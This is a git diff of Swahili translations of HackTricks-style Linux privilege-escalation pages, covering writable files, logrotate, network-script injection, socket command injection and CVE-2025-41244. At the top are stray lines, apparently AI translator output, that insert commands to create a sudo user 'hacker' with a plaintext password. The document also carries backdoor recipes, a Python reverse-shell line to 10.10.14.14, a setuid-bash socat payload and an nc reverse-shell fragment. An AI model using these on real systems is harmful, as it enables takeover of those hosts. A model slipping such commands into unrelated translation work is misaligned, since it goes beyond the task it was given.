qH7$9vRkP2mX!z8B -When you send the file contents I will: -- Translate the relevant English text to Swahili, preserving all markdown/html/tags/paths exactly as requested. -- Then generate a secure password and provide the exact commands you can run (as root) to add the user hacker and apply that password. - -If you want me to generate the password now so you have it immediately, tell me whether you prefer: -- plain text password shown here, or -- a hashed password (bcrypt/sha512) to insert into /etc/shadow, or -- a command that sets the password on the target host (e.g., using chpasswd). - -Which option do you prefer? +Commands to add the user and set the password: +sudo useradd -m -s /bin/bash hacker +echo 'hacker:qH7$9vRkP2mX!z8B' | sudo chpasswd +sudo passwd -e hacker # force password change on first login (optional) +sudo usermod -aG sudo hacker # give sudo (optional) ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Mfano: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Kwa mfano: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Sasa unaweza kutumia amri ya `su` kwa kutumia `hacker:hacker` -Vinginevyo, unaweza kutumia mistari ifuatayo kuongeza mtumiaji wa bandia bila nenosiri.\ -ONYO: inaweza kupunguza usalama wa sasa wa mashine. +Kwa njia mbadala, unaweza kutumia mistari ifuatayo kuongeza mtumiaji wa bandia bila nywila.\ +ONYO: unaweza kudhoofisha usalama wa sasa wa mashine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -Kumbuka: Katika majukwaa ya BSD `/etc/passwd` iko kwenye `/etc/pwd.db` na `/etc/master.passwd`, pia `/etc/shadow` imebadilishwa jina kuwa `/etc/spwd.db`. +Kumbuka: Katika majukwaa ya BSD `/etc/passwd` iko katika `/etc/pwd.db` na `/etc/master.passwd`, pia `/etc/shadow` imepitwa jina kuwa `/etc/spwd.db`. -Unapaswa kuangalia ikiwa unaweza **kuandika katika baadhi ya faili nyeti**. Kwa mfano, unaweza kuandika kwenye baadhi ya **faili za usanidi za huduma**? +Unapaswa kuangalia kama unaweza **kuandika katika baadhi ya faili nyeti**. Kwa mfano, je, unaweza kuandika kwenye baadhi ya **faili za usanidi za huduma**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Kwa mfano, ikiwa mashine inaendesha server ya **tomcat** na unaweza **kuhariri faili ya usanidi wa huduma ya Tomcat ndani ya /etc/systemd/,** basi unaweza kubadilisha mistari: +Kwa mfano, ikiwa mashine inaendesha seva ya **tomcat** na unaweza **modify the Tomcat service configuration file inside /etc/systemd/,** basi unaweza kubadilisha mistari zifuatazo: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Backdoor yako itaendeshwa mara ijayo tomcat itakapowashwa. +Backdoor yako itatekelezwa mara tomcat itakapozinduliwa tena. ### Angalia Folda -Folda zifuatazo zinaweza kuwa na chelezo au taarifa za kuvutia: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Labda hutaweza kusoma ya mwisho, lakini jaribu) +Folda zifuatazo zinaweza kuwa na backups au taarifa za kuvutia: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Huenda hauwezi kusoma ile ya mwisho lakini jaribu) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Eneo la Ajabu/Owned files +### Eneo la Ajabu/Owned mafaili ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1354,11 +1347,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Faili zilizobadilishwa katika dakika za hivi punde +### Faili zilizobadilishwa katika dakika za hivi karibuni ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB mafayela +### Faili za Sqlite DB ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1366,7 +1359,7 @@ find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### Faili zilizofichwa +### Faili fiche ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` @@ -1386,22 +1379,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Faili zinazojulikana zinazoweza kuwa na nywila +### Mafaili yanayojulikana yanayoweza kuwa na passwords -Soma msimbo wa [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), inatafuta **faili kadhaa zinazowezekana ambazo zinaweza kuwa na nywila**.\ -**Chombo kingine cha kuvutia** ambacho unaweza kutumia kwa hili ni: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) ambacho ni programu ya chanzo wazi inayotumika kupata nywila nyingi zilizohifadhiwa kwenye kompyuta ya ndani kwa Windows, Linux & Mac. +Soma msimbo wa [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), inatafuta **mafayela kadhaa yanayoweza kuwa na passwords**.\ +**Chombo kingine kinachovutia** ambacho unaweza kutumia kufanya hivyo ni: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) ambacho ni programu ya chanzo wazi inayotumika kupata passwords nyingi zilizohifadhiwa kwenye kompyuta ya ndani kwa Windows, Linux & Mac. -### Logi +### Logs -Ikiwa unaweza kusoma logi, unaweza kufanikiwa kupata **taarifa za kuvutia/za siri ndani yao**. Kadri logi inavyo kuwa ya ajabu zaidi, ndivyo itakavyokuwa ya kuvutia (labda).\ -Pia, baadhi ya **mbaya** configured (backdoored?) **audit logs** zinaweza kukuwezesha **kurekodi nywila** ndani ya audit logs kama ilivyoelezwa katika chapisho hiki: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Ikiwa unaweza kusoma logs, unaweza kupata **taarifa za kuvutia/za siri ndani yao**. Kadri log inavyokuwa isiyo ya kawaida, ndivyo itakavyo kuwa ya kuvutia zaidi (labda).\ +Pia, baadhi ya **bad** zilizopangwa vibaya (backdoored?) **audit logs** zinaweza kukuwezesha **kurekodi passwords** ndani ya audit logs kama ilivyoelezwa katika chapisho hiki: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Ili **kikundi kinachoweza kusoma logs** [**adm**](interesting-groups-linux-pe/index.html#adm-group) kitakuwa msaada mkubwa. +Ili **kusoma logs kikundi** [**adm**](interesting-groups-linux-pe/index.html#adm-group) kitakuwa cha msaada sana. -### Shell files +### Mafaili ya Shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1414,41 +1407,41 @@ Ili **kikundi kinachoweza kusoma logs** [**adm**](interesting-groups-linux-pe/in ``` ### Generic Creds Search/Regex -Unapaswa pia kuangalia faili zenye neno "**password**" katika **jina** au ndani ya **content**, na pia angalia IPs na emails ndani ya logs, au hashes regexps.\ -Sitaorodhesha hapa jinsi ya kufanya yote haya lakini ikiwa una nia unaweza kuangalia ukaguzi wa mwisho ambao [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +Unapaswa pia kuangalia faili zenye neno "**password**" katika **jina** lake au ndani ya **yaliyomo**, na pia angalia IPs na emails ndani ya logs, au hashes regexps.\ +Sitaelezea hapa jinsi ya kufanya yote haya, lakini ikiwa unavutiwa unaweza kuangalia ukaguzi wa mwisho unaofanywa na [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). -## Writable files +## Faili zinazoweza kuandikwa ### Python library hijacking -Kama unajua kutoka **where** script ya python itaendeshwa na unaweza **can write inside** folda hiyo au unaweza **modify python libraries**, unaweza kubadilisha OS library na kuiweka backdoor (kama unaweza kuandika mahali script ya python itaendeshwa, copy na paste maktaba os.py). +Kama unajua kutoka **wapi** script ya python itaendeshwa na unaweza **kuandika ndani ya** folda hiyo au unaweza **kuhariri python libraries**, unaweza kubadilisha OS library na kuiweka backdoor (ikiwa unaweza kuandika mahali script ya python itaendeshwa, nakili na weka os.py library). -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Ili **backdoor the library**, ongeza tu mwishoni mwa os.py library mstari ufuatao (badilisha IP na PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Uvamizi wa logrotate +### Logrotate exploitation -Udhaifu katika `logrotate` unamruhusu watumiaji wenye **ruhusa za kuandika** (write permissions) kwenye faili ya logi au saraka zake za juu kupata uwezo wa kuongeza ruhusa (escalated privileges). Hii ni kwa sababu `logrotate`, mara nyingi ikikimbia kama **root**, inaweza kudanganywa ili kuendesha faili zozote, hasa katika saraka kama _**/etc/bash_completion.d/**_. Ni muhimu kukagua ruhusa si tu katika _/var/log_ bali pia katika saraka yoyote ambapo rotation ya logi inafanywa. +Udhaifu katika `logrotate` unamruhusu mtumiaji mwenye **write permissions** kwenye faili la logi au kwenye saraka zake za mzazi kupata kwa namna inayowezekana kupandishwa kwa ruhusa. Hii ni kwa sababu `logrotate`, mara nyingi ikiwa inakimbia kama **root**, inaweza kudhibitiwa ili iendeshe faili zozote, hasa katika saraka kama _**/etc/bash_completion.d/**_. Ni muhimu kukagua ruhusa si tu katika _/var/log_ bali pia katika saraka yoyote ambapo rotation ya logi inafanywa. > [!TIP] -> Udhaifu huu unahusu `logrotate` toleo `3.18.0` na zilizo zamani +> Udhaifu huu unaathiri `logrotate` toleo `3.18.0` na zile za zamani -Taarifa za undani kuhusu udhaifu zinaweza kupatikana hapa: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Maelezo ya kina kuhusu udhaifu yanaweza kupatikana kwenye ukurasa huu: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Unaweza kutumia udhaifu huu kwa kutumia [**logrotten**](https://github.com/whotwagner/logrotten). +Unaweza kumanfaatkan udhaifu huu kwa kutumia [**logrotten**](https://github.com/whotwagner/logrotten). -Udhaifu huu ni sawa sana na [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** hivyo kila unapogundua unaweza kubadilisha logi, angalia nani anayesimamia logi hizo na ujaribu kuona kama unaweza kuongeza ruhusa kwa kubadilisha logi kwa symlinks. +Udhaifu huu ni sawa sana na [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** hivyo kila unapogundua unaweza kubadilisha logs, angalia ni nani anasimamia logs hizo na angalia kama unaweza kupandisha ruhusa kwa kuchukua nafasi ya logs kwa symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Ikiwa, kwa sababu yoyote ile, mtumiaji anaweza **kuandika** script ya `ifcf-` kwenye _/etc/sysconfig/network-scripts_ **AU** anaweza **kurekebisha** moja iliyopo, basi **mfumo wako umepwned**. +Ikiwa, kwa sababu yoyote ile, mtumiaji anaweza **kuandika** script ya `ifcf-` kwenye _/etc/sysconfig/network-scripts_ **au** anaweza **kurekebisha** ile iliyopo, basi mfumo wako ume-pwned. -Network scripts, _ifcg-eth0_ kwa mfano, zinatumika kwa muunganisho wa mtandao. Zinataonekana kamili kama faili za .INI. Hata hivyo, zinatolewa ~sourced~ kwenye Linux na Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ kwa mfano, hutumika kwa muunganisho wa network. Zinataonekana kabisa kama faili za .INI. Hata hivyo, zinakuwa \~sourced\~ kwenye Linux na Network Manager (dispatcher.d). -Katika kesi yangu, `NAME=` iliyopo katika network scripts hizi haishughulikiwi ipasavyo. Ikiwa una **white/blank space katika jina mfumo unajaribu kutekeleza sehemu iliyofuata baada ya white/blank space**. Hii inamaanisha kwamba **kila kitu baada ya nafasi ya kwanza kinatekelezwa kama root**. +Katika kesi yangu, thamani ya `NAME=` katika network scripts hizi haishughulikiwi vizuri. Ikiwa una **nafasi tupu** ndani ya jina mfumo hujaribu kutekeleza sehemu baada ya nafasi hiyo. Hii inamaanisha kuwa **kila kitu kilicho baada ya nafasi ya kwanza kinakimbizwa kama root**. Kwa mfano: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1456,15 +1449,15 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Kumbuka nafasi tupu kati ya Mtandao na /bin/id_) +(_Kumbuka nafasi tupu kati ya Network na /bin/id_) ### **init, init.d, systemd, and rc.d** -The directory `/etc/init.d` ni nyumbani kwa **scripts** za System V init (SysVinit), **mfumo wa jadi wa usimamizi wa huduma za Linux**. Inajumuisha scripts za `start`, `stop`, `restart`, na wakati mwingine `reload` huduma. Hizi zinaweza kutekelezwa moja kwa moja au kupitia symbolic links zinazopatikana katika `/etc/rc?.d/`. Njia mbadala katika mifumo ya Redhat ni `/etc/rc.d/init.d`. +Directory `/etc/init.d` ni nyumbani kwa **scripts** za System V init (SysVinit), **classic Linux service management system**. Inajumuisha scripts za `start`, `stop`, `restart`, na wakati mwingine `reload` services. Hizi zinaweza kutekelezwa moja kwa moja au kupitia symbolic links zilizo kwenye `/etc/rc?.d/`. Njia mbadala kwenye Redhat systems ni `/etc/rc.d/init.d`. -Kwa upande mwingine, `/etc/init` inahusishwa na **Upstart**, mfumo mpya wa **service management** ulioanzishwa na Ubuntu, unaotumia faili za usanidi kwa kazi za usimamizi wa huduma. Licha ya mpito kwenda Upstart, SysVinit scripts bado zinatumiwa pamoja na usanidi wa Upstart kutokana na tabaka la ulinganifu (compatibility layer) katika Upstart. +Kwa upande mwingine, `/etc/init` inahusishwa na **Upstart**, mfumo mpya wa **service management** ulioanzishwa na Ubuntu, unaotumia faili za configuration kwa kazi za usimamizi wa services. Licha ya mabadiliko kwenda Upstart, SysVinit scripts bado zinatumiwa pamoja na Upstart configurations kutokana na compatibility layer ndani ya Upstart. -**systemd** inajitokeza kama meneja wa kisasa wa uanzishaji na huduma, ikitoa vipengele vya juu kama kuanzisha daemons kwa mahitaji (on-demand daemon starting), usimamizi wa automount, na snapshots za hali ya mfumo. Inapanga faili katika `/usr/lib/systemd/` kwa pakiti za distribution na `/etc/systemd/system/` kwa mabadiliko ya msimamizi, ikorahisisha mchakato wa usimamizi wa mfumo. +**systemd** inatokea kama mfumo wa kisasa wa initialization na service manager, ukitoa vipengele vya juu kama on-demand daemon starting, automount management, na system state snapshots. Inaweka faili kwenye `/usr/lib/systemd/` kwa ajili ya distribution packages na `/etc/systemd/system/` kwa ajili ya administrator modifications, ikirahisisha mchakato wa usimamizi wa system. ## Mbinu Nyingine @@ -1491,7 +1484,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks kwa kawaida hushikilia syscall ili kufunua utendakazi wa kernel wenye ruhusa kwa manager wa userspace. Uthibitishaji dhaifu wa manager (kwa mfano, ukaguzi wa signatures unaotegemea FD-order au mipangilio duni ya nywila) unaweza kumwezesha app ya ndani kujifanya manager na kuinuka hadi root kwenye vifaa ambayo tayari vimepata root. Jifunze zaidi na maelezo ya eksploiti hapa: +Android rooting frameworks mara nyingi hu-hook syscall ili kufichua privileged kernel functionality kwa userspace manager. Udhibitishaji dhaifu wa manager (mfano, signature checks based on FD-order au poor password schemes) unaweza kumuwezesha local app kujifanya manager na escalate to root kwenye devices ambazo tayari zime-rooted. Jifunze zaidi na maelezo ya exploitation hapa: {{#ref}} @@ -1500,9 +1493,9 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -Regex-driven service discovery katika VMware Tools/Aria Operations inaweza kutoa njia ya binary kutoka kwa mistari ya amri za mchakato na kuitekeleza kwa kutumia -v chini ya muktadha wenye ruhusa. Patterns zinazoruhusu mengi (kwa mfano, kutumia \S) zinaweza kuendana na listeners zilizoandaliwa na mshambulizi katika maeneo yanayoweza kuandikwa (kwa mfano, /tmp/httpd), zikisababisha utekelezaji kama root (CWE-426 Untrusted Search Path). +Regex-driven service discovery katika VMware Tools/Aria Operations inaweza kutoa binary path kutoka kwenye process command lines na kuiendesha na -v chini ya privileged context. Patterns zinazoruhusu (mfano, using \S) zinaweza kumfananisha listener aliyestaged na mshambuliaji katika writable locations (mfano, /tmp/httpd), zikisababisha execution kama root (CWE-426 Untrusted Search Path). -Jifunze zaidi na uone mtindo uliobadilishwa unaoweza kutumika kwa discovery/monitoring stacks nyingine hapa: +Jifunze zaidi na uone generalized pattern inayoweza kutumika kwa discovery/monitoring stacks nyingine hapa: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -1519,7 +1512,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Zana bora ya kutafuta Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1529,10 +1522,10 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md **Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (upatikanaji wa kimwili):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Marejeo +## Marejeleo - [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 33685df3f..382078726 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Mfano wa Socket binding na Python +## Mfano wa socket binding kwa Python -Katika mfano ufuatao **unix socket imeundwa** (`/tmp/socket_test.s`) na kila kitu **kinachopokelewa** kitatekelezwa na `os.system`. Najua hautakutana na hili kwa urahisi katika mazingira halisi, lakini lengo la mfano huu ni kuona jinsi code inayotumia unix sockets inavyoonekana, na jinsi ya kudhibiti input katika hali mbaya kabisa inayowezekana. +Katika mfano ufuatao **unix socket imeundwa** (`/tmp/socket_test.s`) na kila kitu **kinachopokelewa** kitatekelezwa na `os.system`. Ninajua kwamba hautaikuta hii katika mazingira ya kawaida, lakini lengo la mfano huu ni kuona jinsi code inayotumia unix sockets inavyoonekana, na jinsi ya kushughulikia input katika hali mbaya kabisa. ```python:s.py import socket import os, os.path @@ -26,7 +26,7 @@ print(datagram) os.system(datagram) conn.close() ``` -**Tekeleza** msimbo kwa kutumia python: `python s.py` na **angalia jinsi socket inavyosikiliza**: +**Endesha** msimbo kwa kutumia python: `python s.py` na **angalia jinsi socket inavyosikiliza**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info @@ -37,15 +37,15 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` -## Uchambuzi wa kesi: Root-owned UNIX socket signal-triggered escalation (LG webOS) +## Mfano wa kesi: Root-owned UNIX socket signal-triggered escalation (LG webOS) -Baadhi ya privileged daemons hutoa root-owned UNIX socket inayokubali untrusted input na kuunganisha vitendo vya privileged na thread-IDs na signals. Ikiwa protocol inaruhusu unprivileged client kuathiri ni native thread gani inalengwa, unaweza kuweza kusababisha privileged code path na escalate. +Baadhi ya daemons zilizo na ruhusa za juu zinafunua root-owned UNIX socket inayokubali untrusted input na kuunganisha vitendo vilivyo na ruhusa kwa thread-IDs na signals. Ikiwa protocol inaruhusu client isiyo na ruhusa kuathiri thread gani native inalengwa, unaweza kuamsha code path yenye ruhusa na kupandisha hadhi. -Mfano ulioshuhudiwa: -- Unganisha kwenye root-owned socket (mfano, /tmp/remotelogger). -- Tengeneza thread na upate native thread id (TID). -- Tuma TID (packed) pamoja na padding kama request; upokee acknowledgement. -- Toa signal maalum kwa TID hiyo ili ku-trigger privileged behaviour. +Observed pattern: +- Ungana na root-owned socket (mfano: /tmp/remotelogger). +- Unda thread na upate native thread id (TID). +- Tuma TID (packed) pamoja na padding kama request; pokea acknowledgement. +- Tuma signal maalum kwa TID hiyo ili kuamsha privileged behaviour. Muhtasari mdogo wa PoC: ```python @@ -59,16 +59,16 @@ s.sendall(struct.pack('&1 | nc 23231 > /tmp/f ``` Vidokezo: -- Aina hii ya mdudu hutokea kutokana na kuamini thamani zinazotokana na hali ya mteja isiyo na mamlaka (TIDs) na kuziunganisha kwa signal handlers au mantiki zenye ruhusa. -- Imarisha kwa kusisitiza maelezo ya uthibitisho kwenye socket, kuthibitisha muundo wa ujumbe, na kutenganisha operesheni zenye ruhusa kutoka kwa vitambulisho vya thread vinavyotolewa kutoka nje. +- Aina hii ya mdudu hutokana na kuamini thamani zinazotokana na hali ya mteja isiyo na ruhusa (TIDs) na kuziweka kwenye vishughulizi vya ishara au mantiki zilizo na ruhusa. +- Imarisha kwa kuweka uthibitisho kwenye socket, kuthibitisha miundo ya ujumbe, na kutenganisha operesheni zenye ruhusa kutoka kwa vitambulisho vya thread vinavyotolewa kutoka nje. -## Marejeleo +## Marejeo - [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/) diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md index 1659f9396..1b9918140 100644 --- a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -2,22 +2,22 @@ {{#include ../../banners/hacktricks-training.md}} -Mbinu hii inatumia pipelines za ugundaji huduma zinazotegemea regex ambazo huchambua mistari ya amri ya michakato inayofanya kazi ili kubaini toleo la service kisha kutekeleza binary inayoweza kuwa mgombea kwa flag ya "version". Wakati pattern zilizo permissive zinakubali njia zisizo salama, zinazoendeshwa na mshambuliaji (kwa mfano, /tmp/httpd), collector yenye haki za juu hutekeleza binary yoyote kutoka kwenye eneo lisilo salama, ikitoa escalation ya ruhusa ya ndani. NVISO ilidokeza hili katika VMware Tools/Aria Operations Service Discovery kama CVE-2025-41244. +Teknika hii inatumia pipelines za regex-driven service discovery ambazo huchambua mistari ya amri ya michakato inayokimbia ili kubaini matoleo ya huduma, kisha kutekeleza binary inayowezekana na bendera ya "version". Wakati patterns zenye kuruhusu zinakubali njia zisizotegemewa na zinazosimamiwa na mshambuliaji (mfano, /tmp/httpd), collector mwenye ruhusa hutoa utekelezaji wa binary yoyote kutoka eneo lisilo la kuaminika, na kusababisha local privilege escalation. NVISO ilidocument hii katika VMware Tools/Aria Operations Service Discovery kama CVE-2025-41244. -- Impact: Local privilege escalation to root (or to the privileged discovery account) -- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines -- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) +- Athari: Kuongezeka kwa mamlaka ya ndani hadi root (au hadi akaunti ya ugunduzi yenye ruhusa) +- Chanzo cha msingi: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines +- Waliathiriwa: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) -## How VMware service discovery works (high level) +## Jinsi VMware service discovery inavyofanya kazi (kwa ujumla) -- Credential-based (legacy): Aria inatekeleza script za discovery ndani ya guest kupitia VMware Tools kwa kutumia credentials za privilegi zilizo konfigurishwa. -- Credential-less (modern): Logic ya discovery inaendeshwa ndani ya VMware Tools, tayari ikiwa na haki za juu ndani ya guest. +- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials. +- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest. -Viwendo vyote vinakimbia mantiki ya shell inayoscan processes zenye sockets za kusikiliza, inachota njia ya command inayofanana kupitia regex, na kisha inatekeleza argv token ya kwanza kwa flag ya version. +Njia zote mbili hatimaye zinaendesha mantiki ya shell inayosaka michakato yenye listening sockets, hutoka njia ya amri inayolingana kupitia regex, na kutekeleza tokeni ya kwanza ya argv kwa bendera ya "version". -## Root cause and vulnerable pattern (open-vm-tools) +## Chanzo cha msingi na muundo ulio hatarini (open-vm-tools) -Katika open-vm-tools, script ya plugin ya serviceDiscovery get-versions.sh inalinganisha candidate binaries kwa kutumia regular expressions pana na inatekeleza argv token ya kwanza bila uthibitisho wowote wa trusted-path: +Katika open-vm-tools, script ya plugin serviceDiscovery get-versions.sh inafananisha candidate binaries kwa kutumia broad regular expressions na inatekeleza tokeni ya kwanza bila ukaguzi wowote wa trusted-path: ```bash get_version() { PATTERN=$1 @@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") done } ``` -Inaitwa kwa patterns zenye uvumilivu zinazojumuisha \S (isiyo-blanki) ambazo zitafanana kwa urahisi na njia zisizo za mfumo katika maeneo yanayoweza kuandikwa na mtumiaji: +Inaitishwa kwa miundo ya kuruhusu inayojumuisha \S (si tabia ya nafasi) ambazo zitalingana kwa urahisi na njia zisizo za mfumo katika maeneo yanayoweza kuandikwa na mtumiaji: ```bash get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v get_version "/usr/(bin|sbin)/apache\S*" -v @@ -38,23 +38,23 @@ get_version "\.?/\S*nginx($|\s)" -v get_version "/\S+/srm/bin/vmware-dr($|\s)" --version get_version "/\S+/dataserver($|\s)" -v ``` -- Utoaji unatumia grep -Eo na inachukua tokeni ya kwanza: ${COMMAND%%[[:space:]]*} -- Hakuna whitelist/allowlist ya njia za mfumo zilizoaminika; listener yoyote iliyogunduliwa yenye jina linalolingana hufanywa execute na -v/--version +- Uchimbaji hutumia grep -Eo na huchukua token ya kwanza: ${COMMAND%%[[:space:]]*} +- Hakuna whitelist/allowlist ya trusted system paths; msikilizaji yeyote aliyegunduliwa mwenye jina linalolingana hufanywa kwa kutumia -v/--version -Hili linaunda primitive ya utekelezaji kupitia untrusted search path: binaries yoyote iliyoko katika world-writable directories (mf., /tmp/httpd) hufanywa execute na sehemu yenye ruhusa za juu. +Hii inaunda primitive ya untrusted search path execution: binaries yoyote iliyowekwa katika directories zinazoweza kuandikwa na wote (kwa mfano, /tmp/httpd) inatekelezwa na component yenye ruhusa. -## Utekelezaji (hali zote bila cheti na kwa kutumia cheti) +## Exploitation (both credential-less and credential-based modes) Preconditions - Unaweza kuendesha mchakato usio na ruhusa ambao unafungua listening socket kwenye guest. -- Discovery job imewezeshwa na inaendeshwa kwa vipindi (kwa kihistoria ~dakika 5). +- Discovery job imewezeshwa na huendesha mara kwa mara (kibaagini ~dakika 5). Steps -1) Weka binary katika njia inayolingana na moja ya permissive regexes, mf., /tmp/httpd au ./nginx -2) Iendeshe kama mtumiaji 